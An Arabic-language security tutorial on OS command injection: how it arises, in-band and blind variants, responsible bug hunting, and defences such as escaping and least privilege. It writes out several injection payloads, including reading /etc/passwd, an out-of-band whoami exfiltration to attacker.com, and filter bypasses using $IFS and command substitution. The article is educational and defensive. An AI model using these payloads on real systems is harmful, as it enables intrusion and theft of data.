Command Injection

شرح ثغرة Command Injection: كيف تكتشفها وتحمي تطبيقك منها (2025)

نبدأ من الصفر: ما هي ثغرة Command Injection؟

تخيل أن الخادم (Server) الخاص بك هو "موظف" مطيع جداً، ومعه "مكبر صوت" (الـ Shell أو واجهة الأوامر) يستطيع من خلاله تنفيذ أي أمر يُطلب منه لنظام التشغيل (OS).

الآن، تخيل أنك بنيت تطبيق ويب (Web Application) يتيح للمستخدم أن يطلب من هذا الموظف مهمة بسيطة، مثل ping على موقع معين. المستخدم يكتب google.com.

ثغرة Command Injection تحدث عندما يأخذ تطبيقك هذا المدخل (input) من المستخدم "كما هو" ويعطيه للموظف (الـ Shell) لينفذه.

المستخدم العادي سيدخل google.com. لكن الـ Attacker (المهاجم) لن يدخل ذلك. سيكتب: google.com; cat /etc/passwd

الموظف المطيع (الـ Shell) سينفذ الأمرين بالترتيب:

ping google.com
cat /etc/passwd (اعرض لي ملف المستخدمين في النظام)

وهنا تكمن الكارثة. المهاجم نجح في "حقن" أمر إضافي خبيث بجانب الأمر البريء، واستطاع تنفيذ كود عشوائي (Arbitrary Code) على نظام التشغيل الخاص بك.

1. لماذا ثغرة Command Injection هي "الكابوس"؟

أهلاً بك في دليلك الشامل. في عالم الأمن السيبراني، هناك ثغرات "مزعجة"، وهناك ثغرات "خطيرة"، ثم هناك Command Injection. هذه الثغرة تقع في فئة "الكابوس" أو الـ "Game Over".

لماذا؟ لأنها لا تسرق معلومة واحدة، ولا تعطل صفحة واحدة. ثغرة Command Injection الناجحة تعني شيئاً واحداً: المهاجم

(Attacker) أصبح "يجلس على كرسي" مدير النظام (Administrator) الخاص بك. لقد أعطيته "مفاتيح المملكة" بالكامل.

في هذا المقال، سنقوم بتشريح هذه الثغرة من الألف إلى الياء. سنفهم "عقلية" المطور الذي يقع فيها، وكيف يفكر المهاجم لاستغلالها، والأهم، كيف تبني "حصوناً منيعة" ضدها في الكود الخاص بك.

2. (The Vulnerable Mindset): لماذا تحدث الثغرة أصلاً؟

قبل أن نكتب أي كود، دعنا ندخل في "نفسية" المطور. هذه الثغرة لا تحدث بسبب "فيروس"، بل بسبب "قرار" برمجي. هذا القرار ينبع غالباً من أحد الأسباب التالية:

الثقة الزائدة (Over-Trust): المطور يثق بشكل أعمى في أن المستخدم سيدخل البيانات المتوقعة فقط. "لماذا قد يدخل أي شخص شيئاً آخر غير عنوان IP في حقل الـ IP؟". هذه الثقة هي العدو الأول للأمن.
طريق "السهولة" (The Path of Least Resistance): لماذا أبحث عن مكتبة (Library) معقدة لمعالجة الصور،

بينما يمكنني استدعاء ImageMagick (أداة نظام) بسطر واحد من الـ Shell؟ السرعة والسهولة غالباً ما تأتي على حساب الأمان.
الجهل بالآلية (Ignorance of the Mechanism): المطور قد لا يدرك أن دوالاً مثل system() أو

shell_exec() لا تستدعي "الأداة" فقط، بل تستدعي Shell (مثل bash) كاملاً لتفسير الأمر، وهذا الـ Shell
هو الذي ينفذ الفواصل (&, |, ;).

فهم هذه "النقاط النفسية" هو الخطوة الأولى لتجنب كتابة كود مصاب من الأساس.

3. تشريح الهجوم: الآلية الأساسية لعمل الـ Payload

لنأخذ مثالاً حياً ونشرحه خطوة بخطوة.

تخيل أن لديك تطبيق PHP بسيط يتيح للمستخدم معرفة معلومات DNS عن نطاق معين.

الكود المصاب (Vulnerable Code):

PHP
<?php
// !! VULNERABLE CODE - DO NOT USE !!

// 1. الحصول على المدخل مباشرة من المستخدم
$domain = $_GET['domain'];

// 2. المصيبة: دمج المدخل "كما هو" داخل أمر نظام
$command = 'nslookup ' . $domain;

// 3. التنفيذ: shell_exec() ينفذ الأمر عبر /bin/sh
$output = shell_exec($command);

// 4. عرض الناتج للمستخدم
echo "<pre>$output</pre>";
?>

السيناريو البريء:

المستخدم يرسل: ?domain=google.com
الأمر المنفذ على الخادم: nslookup google.com
النتيجة: تظهر معلومات الـ DNS الخاصة بجوجل.

سيناريو الهجوم:

المهاجم يرسل Payload خبيث: ?domain=google.com; id
الأمر الذي يتم تجميعه على الخادم هو: nslookup google.com; id
كيف يراها الـ Shell؟ يراها أمرين:
1. nslookup google.com (ينفذه)
2. id (وينفذه أيضاً)
النتيجة: المستخدم سيرى معلومات الـ DNS الخاصة بجوجل، وتحتها مباشرة سيرى ناتج الأمر id، مثل:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

لقد نجح المهاجم وعرف اسم المستخدم الذي يعمل به خادم الويب.

4. النوع الأول: الحقن المباشر (In-Band Command Injection)

هذا هو النوع الذي رأيته في المثال السابق. هو النوع "الأكثر وضوحاً" (Loud) للمهاجم، لأنه يحصل على النتيجة في نفس قناة الاتصال (In-Band).

كيف يعمل؟ المهاجم يحقن Payload، والتطبيق يقوم بعرض ناتج الأمر (Standard Output) أو حتى رسالة الخطأ

(Standard Error) مباشرة في صفحة الـ HTML.
لماذا هو مفضل للمهاجم؟ لأنه تفاعلي. المهاجم يرسل ls -la فيرى قائمة الملفات. يرسل cat config.php فيرى

محتوى الملف. الاستغلال سريع ومباشر.
مثال آخر (Error-Based):
- Payload: example.com; ls /non-existent-folder
- قد يعرض الخادم خطأ مثل: ls: cannot access '/non-existent-folder': No such file or directory
- مجرد رؤية هذا الخطأ يؤكد للمهاجم أن الأمر ls قد تم تنفيذه بنجاح!

5. النوع الثاني: (Blind Command Injection)

هذا هو النوع "الأكثر ذكاءً" (Silent). هنا، التطبيق ينفذ الأمر، ولكنه لا يعرض الناتج على الإطلاق.

كيف يعمل؟ تخيل أن الكود المصاب في المثال السابق كان ينفذ الأمر nslookup في الخلفية لتسجيله في ملف log، ولكنه لا يعرض $output للمستخدم.

تحدي المهاجم: كيف يعرف المهاجم أن أمره قد تم تنفيذه إذا كان "أعمى" ولا يرى شيئاً؟
الحل: المهاجم لا يبحث عن "الناتج"، بل يبحث عن "الأثر الجانبي" (Side Effect).

هنا يأتي دور التقنيات المتقدمة التي سنشرحها في الجزء التالي.

6. تقنيات استغلال (Blind Injection Techniques)

عندما يكون المهاجم "blind injection tech.."، فإنه يستخدم إحدى طريقتين لإجبار الخادم على "إعطائه إشارة":

التقنية	Time-Based (التأخير الزمني)	Out-of-Band (OOB) (خارج النطاق)
الفكرة	إجبار الخادم على التأخر (Sleep) لعدد معين من الثواني.	إجبار الخادم على إرسال طلب شبكي (Network Request) إلى خادم يتحكم به المهاجم.
الـ Payload	`example.com; sleep 10`	`example.com; nslookup $(whoami).attacker.com`
كيفية التأكيد	إذا تأخر تحميل الصفحة 10 ثوانٍ بالضبط، فالثغرة موجودة.	يراقب المهاجم سجلات الـ `DNS` على خادمه (`attacker.com`). إذا وصله طلب `DNS` لـ `www-data.attacker.com`، فالثغرة موجودة + حصل على اسم المستخدم!
المزايا	بسيط وسهل التنفيذ.	سريع جداً، فعال، ويمكنه سحب البيانات (Data Exfiltration) وليس مجرد التأكيد.
العيوب	بطيء جداً لاستخراج البيانات (يضطر لسحبها حرفاً بحرف).	يتطلب أن يكون الخادم المصاب قادراً على الاتصال بالإنترنت (DNS/HTTP).

7. ترسانة المهاجم: جدول فواصل الأوامر (Payload Separators)

لفهم الدفاع، يجب أن تفهم الهجوم. هذا الجدول يوضح "الأدوات" التي يستخدمها المهاجم لفصل الأوامر في أنظمة التشغيل المختلفة.

الفاصل (Separator)	نظام التشغيل	الوصف والاستخدام (لأغراض تعليمية)
`;` (Semicolon)	Linux / Unix	الأداة الكلاسيكية. نفذ الأمر الأول، ثم الثاني (بغض النظر عن نتيجة الأول).
`&&` (Double Ampersand)	Linux & Windows	المنطق. نفذ الأمر الثاني فقط إذا نجح الأمر الأول.
`\|\|` (Double Pipe)	Linux & Windows	المنطق العكسي. نفذ الأمر الثاني فقط إذا فشل الأمر الأول. (مفيد لتجاوز بعض الفلاتر).
`&` (Ampersand)	Linux & Windows	المتوازي. نفذ الأمر الأول في الخلفية (background)، ونفذ الثاني فوراً.
`	` (Single Pipe)	Linux & Windows
`\n` (New Line)	Linux / Unix	سطر جديد. بعض الـ `Shells` والسكربتات تفسره كفاصل أوامر.
`command` (Backticks)	Linux / Unix	Command Substitution. نفذ الأمر بين الـ `Backticks` أولاً واستخدم ناتجه. `Payload: echo \`whoami``

8. سيناريوهات من الواقع: أين نجد هذه الثغرة؟

قد تظن أن هذه الثغرة موجودة فقط في أدوات ping القديمة. الحقيقة أنها تظهر في أماكن غير متوقعة:

أجهزة إنترنت الأشياء (IoT): كاميرات المراقبة، أجهزة الراوتر المنزلية، والطابعات. واجهات الويب الخاصة بها (Admin

Panels) مليئة بهذه الثغرات لأنها تعتمد بكثافة على استدعاء أوامر Linux الأساسية.
أدوات CI/CD: سكربتات (مثل Jenkins أو GitLab CI) التي قد تأخذ "اسم الفرع" (Branch Name) أو

"رسالة الـ Commit" من المطور وتنفذ عليها سكربت shell ,ومن غير فلترة.
تطبيقات معالجة الوسائط: أي تطبيق يتيح لك "قص فيديو"، "تغيير حجم صورة"، أو "ضغط ملف". غالباً ما تستدعي أدوات

مثل FFmpeg أو ImageMagick عبر الـ Shell.
الأدوات الداخلية (Internal Tools): لوحات التحكم الخاصة بالموظفين التي تحلل ملفات الـ Logs أو تدير العمليات

(Processes). المطورون يميلون للتهاون في أمن الأدوات الداخلية.

9. التأثير الحقيقي: سلسلة الهجوم (Attack Chain) الكاملة

استغلال الثغرة ليس هو "النهاية"، بل هو "البداية". المهاجم يتبع "سلسلة قتل" (Kill Chain):

الاكتشاف (Discovery): تأكيد وجود الثغرة باستخدام sleep أو whoami.
الاستطلاع (Reconnaissance): فهم البيئة. تنفيذ أوامر مثل ls -laR (لمعرفة كل الملفات)، cat /etc/passwd (لمعرفة المستخدمين)، netstat -antp (لمعرفة الاتصالات المفتوحة)، ps aux (لمعرفة

العمليات الشاغلة).
تثبيت الوصول (Establish Foothold): المهاجم لا يريد أن يفقد هذا الوصول. سيقوم فوراً بإنشاء Reverse Shell (اتصال عكسي من خادمك إلى جهازه) ليحصل على Terminal تفاعلي، أو سيقوم برفع Web Shell (مثل

r57 أو c99) كباب خلفي.
تصعيد الامتيازات (Privilege Escalation): غالباً ما يكون المستخدم هو www-data (صلاحيات محدودة).

سيبحث المهاجم عن ثغرات في Kernel نظام Linux نفسه أو ملفات SUID ليرفع صلاحياته ويصبح root.
الحركة الأفقية (Pivoting): بعد أن أصبح root، سيستخدم خادمك كنقطة انطلاق (Pivot) لمهاجمة قواعد البيانات

والخوادم الأخرى الموجودة في شبكتك الداخلية (Internal Network) التي لم تكن متاحة له من الإنترنت.

10. دليل الباحث الأمني (Bug Hunter): كيف تكتشفها بمسؤولية؟

إذا كنت باحثاً أمنياً، فهدفك هو إثبات وجود الثغرة (Proof of Concept - PoC) دون إحداث ضرر.

مرحلة الاستطلاع (Recon): استخدم أدوات مثل Burp Suite لفحص كل Parameter في التطبيق. ابحث عن أي

مدخلات تبدو "تقنية" (أسماء ملفات، نطاقات، إعدادات).
الفحص الآلي (Automated Fuzzing): استخدم أدوات مثل Burp Intruder أو ffuf لإرسال قائمة من فواصل

الأوامر (&, |, ;...) إلى الـ Parameters المشبوهة.
التأكيد اليدوي (Manual Verification): هذه هي أهم خطوة.
- ابدأ بـ Time-Based: استخدم Payload مثل sleep 10 أو ping -c 10 127.0.0.1. هذا هو الدليل
  
  الأنظف والأكثر أماناً.
- انتقل إلى OOB: إذا كانت sleep محظورة، استخدم Out-of-Band. جهز خادم Burp Collaborator أو Interactsh (خدمة DNS عامة) وأرسل:
  
  Payload: | nslookup your-unique-id.oastify.com
كتابة التقرير: وثق الـ Payload، والـ Parameter المصاب، وزمن الاستجابة (في حالة الـ Time-Based) أو

سجل الـ DNS (في حالة الـ OOB). لا تقم أبداً بقراءة ملفات حساسة (/etc/passwd) أو حذف ملفات. إثبات تنفيذ

sleep أو nslookup كافٍ تماماً للحصول على المكافأة (Bounty).

11. تمييز جوهري: Command Injection مقابل Code Injection

لا تخلط بين "حقن الأوامر" و"حقن الكود". هذا خطأ شائع، والفرق بينهما جوهري.

المقارنة	Command Injection (حقن الأوامر)	Code Injection (حقن الكود)
الهدف (Target)	نظام التشغيل (OS Shell) مثل `bash` أو `cmd.exe`.	مفسر لغة البرمجة (Interpreter) مثل `PHP`, `Python`, `Node.js`.
اللغة المستخدمة	لغة الـ `Shell` (مثل `ls`, `cat`, `whoami`).	لغة برمجة التطبيق نفسه (مثل `phpinfo();`, `require 'shell.php';`).
الدوال المسببة (مثال)	`system()`, `shell_exec()`, `passthru()`, `os.system()`	`eval()`, `include()`, `require()`, `unserialize()`
مثال الـ Payload	`8.8.8.8; ls -la`	`eval('system("ls -la");')` (هنا `Code Injection` أدت إلى `Command Injection`)

12. استراتيجية الدفاع #1: (Avoidance)

الحل الأفضل والأكثر فعالية 100% لمنع Command Injection هو:

لا تستخدم دوال استدعاء الـ Shell (مثل system(), exec()) على مدخلات المستخدم إطلاقاً.

دائماً ابحث عن "مكتبة" (Native Library) في لغة البرمجة تقوم بالمهمة بدلاً عنك.

المثال السيء (Python):

Python
import os
ip = request.args.get("ip")
os.system(f"ping -c 3 {ip}") # !! خطير !!

المثال الجيد (Python):

Python
import pythonping # مكتبة متخصصة
ip = request.args.get("ip")
# المكتبة تتعامل مع الـ ip كـ "بيانات" وليس "أمر"
pythonping.ping(ip, count=3) # !! آمن !!

هذه المكتبات مصممة للتعامل مع المتغيرات كـ "بيانات" (Data) وليس كـ "كود" (Code)، مما يقتل الثغرة من جذورها.

13. استراتيجية الدفاع #2: (Validation & Escaping)

إذا كنت مجبراً (ولا يوجد بديل برمجي) على استدعاء أمر نظام، فهنا يأتي دور الدفاع متعدد الطبقات:

أولاً: التحقق بالقائمة البيضاء (Whitelisting):

لا تحاول منع الحروف السيئة (Blacklisting)، لأنك ستنسى شيئاً. بدلاً من ذلك، اسمح فقط بالحروف الجيدة (Whitelisting).

مثال (Whitelist لعنوان IP):

مقتطف الرمز

// Regex يقبل فقط أرقام ونقاط بصيغة IP
IF NOT REGEX_MATCH(ip, "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$") THEN
  RETURN "Error: Invalid IP Address format!"
END IF
// الآن الـ ip "نظيف" (لكنه غير Escaping بعد)

ثانياً: (Escaping):

هذه هي الخطوة الأهم. يجب أن تخبر الـ Shell أن يعامل هذا المتغير كـ "كتلة نصية واحدة" (Argument) وليس كأمر.

اللغة	الكود المصاب (Vulnerable) ❌	الكود الآمن (Secure) ✅
PHP	`$output = shell_exec('ping -c 3 ' . $_GET['ip']);`	`// escapeshellarg() تضع المدخل بين ' '` `$safe_ip = escapeshellarg($_GET['ip']);` `$output = shell_exec('ping -c 3 ' . $safe_ip);`
Python	`import os` `os.system(f"ping - c 3 {ip}")`	`import shlex, subprocess` `safe_ip = shlex.quote(ip)` `subprocess.run(["ping", "- c", "3", safe_ip])`
Node.js	`const { exec } = require('child_process');` `exec(`ping -c 3 ${ip}`);`	`// spawn() هي الطريقة الآمنة، تمرر الأوامر كمصفوفة` `const { spawn } = require('child_process');` `const ping = spawn('ping', ['-c', '3', ip]);`

14. استراتيجية الدفاع #3: تقوية الخادم (Hardening)

هذا هو خط الدفاع الأخير (Defense in Depth). افترض أن المطور أخطأ وتم اختراقك، كيف تقلل الضرر؟

مبدأ أقل الامتيازات (Principle of Least Privilege):
- لا تقم أبداً بتشغيل خادم الويب (Apache/Nginx/Node) بصلاحيات root.
- استخدم مستخدماً مخصصاً (مثل www-data أو nobody) لا يملك أي صلاحيات لقراءة ملفات النظام أو
  
  الكتابة خارج مجلده.
- هذا يحول الاختراق من Game Over إلى "مشكلة محدودة" (Containment).
جدار الحماية (Web Application Firewall - WAF):
- الـ WAF (مثل Cloudflare أو ModSecurity) يمكنه اكتشاف وحظر الـ Payloads المشهورة (مثل
  
  sleep, whoami, cat).
- تحذير: الـ WAF جيد ولكنه ليس كافياً. المهاجمون المحترفون يطورون Payloads (Obfuscated
  
  Payloads) لتجاوز (Bypass) الـ WAF. لا تعتمد عليه كخط دفاع وحيد.

15. الخلاصة: قائمة المراجعة (Checklist) للمطور الآمن

لقد قطعنا شوطاً طويلاً. إليك خلاصة ما تعلمته في قائمة مراجعة سريعة لتبقى آمناً:

[ ] هل أنا مضطر لاستدعاء الـ Shell؟ (إذا كانت الإجابة "لا"، استخدم مكتبة برمجية API وانتهى الأمر).
[ ] (إذا كانت "نعم") هل قمت بالتحقق من المدخل بـ Whitelisting صارم؟ (السماح بالجيد، وليس منع السيء).
[ ] هل استخدمت الدالة الآمنة للتعقيم (Escaping)؟ (مثل escapeshellarg في PHP، أو shlex.quote في

Python).
[ ] هل استخدمت الدالة الآمنة للتنفيذ؟ (مثل spawn في Node.js أو subprocess.run في Python بدلاً من

os.system).
[ ] هل يعمل تطبيقي بأقل صلاحيات ممكنة (Least Privilege)؟ (ليس root!).
[ ] هل لدي WAF كطبقة حماية إضافية؟

إذا كانت إجابتك "نعم" على هذه الأسئلة، فأنت في طريقك الصحيح لبناء تطبيقات حصينة وآمنة.

16. نصائح ذهبية للـ Bug Hunter: كيف تصطاد Command Injection بفاعلية واحترافية؟

أنت كباحث أمني، هدفك ليس "الاختراق" بل "الاكتشاف" و"الإبلاغ المسؤول" (Responsible Disclosure). ثغرة

Command Injection هي من الثغرات ذات الأثر الحرج (Critical Impact)، وإيجادها يمكن أن يكون مجزياً جداً.

إليك بعض النصائح الاحترافية لتتميز في بحثك:

1. فكر خارج الصندوق (Think Beyond the Obvious)

لا تضيع وقتك كله على حقول ping و traceroute الواضحة. المطورون (والأدوات الآلية) يفحصون هذه الأماكن أولاً. ابحث

عن النقاط "الخفية" التي تستدعي الـ Shell:

معالجة الملفات: ابحث عن أي وظيفة تتيح لك رفع ملف (صورة، فيديو، PDF) ثم تقوم "بمعالجته" (Processing). قد

يتم تمرير اسم الملف (الذي تتحكم به) إلى أمر Shell مثل ffmpeg, ImageMagick, أو pdftotext.
الإعدادات (Settings): ابحث في صفحات إعدادات الحساب أو التطبيق. هل هناك حقل لتغيير "اسم المستخدم" أو "اسم الطابعة" أو "إعدادات البريد"؟ هذه المدخلات قد تُستخدم في سكربتات خلفية.
الـ Headers المنسية: لا تركز فقط على الـ Parameters في الـ URL أو POST body. افحص الـ

HTTP Headers، خاصة الـ User-Agent, Referer، أو أي Cookie. أحياناً، تُسجل هذه القيم في ملف

log عبر أمر echo أو grep، مما قد يفتح الباب للهجوم.

2. اتقن فن الـ Blind و الـ Out-of-Band (OOB)

معظم الثغرات التي ستجدها ستكون Blind (عمياء). الـ WAF (جدار الحماية) غالباً ما يحظر Payloads مثل

whoami أو cat.

اجعل sleep صديقك: هو الـ Payload الأنظف والأكثر أماناً. ping -c 10 127.0.0.1 (للويندوز) أو sleep 10 (للينكس) هو دليل قاطع (PoC) لا يقبل الشك.
كن جاهزاً بـ OOB دائماً: استخدم خدمة مثل Burp Collaborator أو Interactsh بشكل افتراضي. الـ

Payload الخاص بك يجب أن يكون لإجبار الخادم على "مناداتك".
- Payload: | nslookup your-unique-id.oastify.com
- هذا الـ Payload غالباً ما يتجاوز الفلاتر لأنه لا يحتوي على كلمات "خبيثة" ويستخدم أمراً بريئاً
  
  (nslookup).

3. تقنيات تجاوز الفلاتر (Bypass Techniques)

ماذا لو قام المطور بحظر (Blacklisting) الفواصل (&, |, ;)؟

استخدم Command Substitution: هذه هي الطريقة الأقوى.
- Payload: `whoami` (باستخدام Backticks)
- Payload: $(whoami) (باستخدام $ و الأقواس)
- مثال عملي: إذا كان التطبيق ينفذ echo "Checking: $INPUT"، يمكنك إرسال Payload مثل:
  
  $(sleep 10)
- الأمر سيصبح: echo "Checking: $(sleep 10)"
- الـ Shell سينفذ sleep 10 أولاً، ثم يضع ناتجه (الذي هو لا شيء) مكان $(...)، ثم ينفذ echo. النتيجة
  
  هي تأخير 10 ثوانٍ.
تجاوز حظر المسافات (Spaces):
- إذا تم حظر المسافات، استخدم متغير $IFS (Internal Field Separator) في Linux.
- Payload: cat${IFS}/etc/passwd
- الـ Shell سيفسرها كـ cat /etc/passwd.

4. اكتب تقريراً احترافياً (Write a Great Report)

طريقة عرضك للثغرة لا تقل أهمية عن اكتشافها.

العنوان: كن واضحاً ومحدداً. "Critical: Blind OS Command Injection on /api/v1/utils/diagnose endpoint".
الخطوات (Steps to Reproduce): اكتبها بالتفصيل كأنك تشرحها لطفل.
1. اذهب إلى الصفحة ...
2. اعترض الطلب POST /api/v1/utils/diagnose
3. غير الـ parameter المسمى ip_address إلى الـ Payload التالي: 8.8.8.8; sleep 10
4. أرسل الطلب.
الأثر (Impact): وضح "لماذا" هذه الثغرة خطيرة. "An attacker can leverage this vulnerability to execute arbitrary commands on the server, leading to a full Remote Code Execution (RCE). This allows the attacker to steal all user data, take down the service, or pivot into the internal network."
كن أخلاقياً: لا تقم أبداً بسحب بيانات حساسة أو حذف ملفات. إثبات تنفيذ sleep أو whoami (عبر OOB) هو

أكثر من كافٍ لإثبات الأثر الحرج.

الكلمات المفتاحية (Keywords):

Command Injection, Cyber Security, OWASP Top 10, Input Validation, Escaping, Payloads, Blind Command Injection, Out-of-Band (OOB), Bug Buggy, Web Security, PHP, Python, Node.js, أمن سيبراني, اختبار اختراق, Reverse Shell

آخر الأخبار

شرح ثغرة Command Injection: كيف تكتشفها وتحمي تطبيقك منها (2025)







شرح ثغرة Command Injection: كيف تكتشفها وتحمي تطبيقك منها (2025)

نبدأ من الصفر: ما هي ثغرة Command Injection؟

1. لماذا ثغرة Command Injection هي "الكابوس"؟

2. (The Vulnerable Mindset): لماذا تحدث الثغرة أصلاً؟

3. تشريح الهجوم: الآلية الأساسية لعمل الـ Payload

4. النوع الأول: الحقن المباشر (In-Band Command Injection)

5. النوع الثاني: (Blind Command Injection)

6. تقنيات استغلال (Blind Injection Techniques)

7. ترسانة المهاجم: جدول فواصل الأوامر (Payload Separators)

8. سيناريوهات من الواقع: أين نجد هذه الثغرة؟

9. التأثير الحقيقي: سلسلة الهجوم (Attack Chain) الكاملة

10. دليل الباحث الأمني (Bug Hunter): كيف تكتشفها بمسؤولية؟

11. تمييز جوهري: Command Injection مقابل Code Injection

12. استراتيجية الدفاع #1: (Avoidance)

13. استراتيجية الدفاع #2: (Validation & Escaping)

أولاً: التحقق بالقائمة البيضاء (Whitelisting):

ثانياً: (Escaping):

14. استراتيجية الدفاع #3: تقوية الخادم (Hardening)

15. الخلاصة: قائمة المراجعة (Checklist) للمطور الآمن

16. نصائح ذهبية للـ Bug Hunter: كيف تصطاد Command Injection بفاعلية واحترافية؟

1. فكر خارج الصندوق (Think Beyond the Obvious)

2. اتقن فن الـ Blind و الـ Out-of-Band (OOB)

3. تقنيات تجاوز الفلاتر (Bypass Techniques)

4. اكتب تقريراً احترافياً (Write a Great Report)

عن الكاتب

التعليقات

آخر الأخبار

شرح ثغرة Command Injection: كيف تكتشفها وتحمي تطبيقك منها (2025)







شرح ثغرة Command Injection: كيف تكتشفها وتحمي تطبيقك منها (2025)

نبدأ من الصفر: ما هي ثغرة Command Injection؟

1. لماذا ثغرة Command Injection هي "الكابوس"؟

2. (The Vulnerable Mindset): لماذا تحدث الثغرة أصلاً؟

3. تشريح الهجوم: الآلية الأساسية لعمل الـ Payload

4. النوع الأول: الحقن المباشر (In-Band Command Injection)

5. النوع الثاني: (Blind Command Injection)

6. تقنيات استغلال (Blind Injection Techniques)

7. ترسانة المهاجم: جدول فواصل الأوامر (Payload Separators)

8. سيناريوهات من الواقع: أين نجد هذه الثغرة؟

9. التأثير الحقيقي: سلسلة الهجوم (Attack Chain) الكاملة

10. دليل الباحث الأمني (Bug Hunter): كيف تكتشفها بمسؤولية؟

11. تمييز جوهري: Command Injection مقابل Code Injection

12. استراتيجية الدفاع #1: (Avoidance)

13. استراتيجية الدفاع #2: (Validation & Escaping)

أولاً: التحقق بالقائمة البيضاء (Whitelisting):

ثانياً: (Escaping):

14. استراتيجية الدفاع #3: تقوية الخادم (Hardening)

15. الخلاصة: قائمة المراجعة (Checklist) للمطور الآمن

16. نصائح ذهبية للـ Bug Hunter: كيف تصطاد Command Injection بفاعلية واحترافية؟

1. فكر خارج الصندوق (Think Beyond the Obvious)

2. اتقن فن الـ Blind و الـ Out-of-Band (OOB)

3. تقنيات تجاوز الفلاتر (Bypass Techniques)

4. اكتب تقريراً احترافياً (Write a Great Report)

عن الكاتب

شاهد أيضاً

التعليقات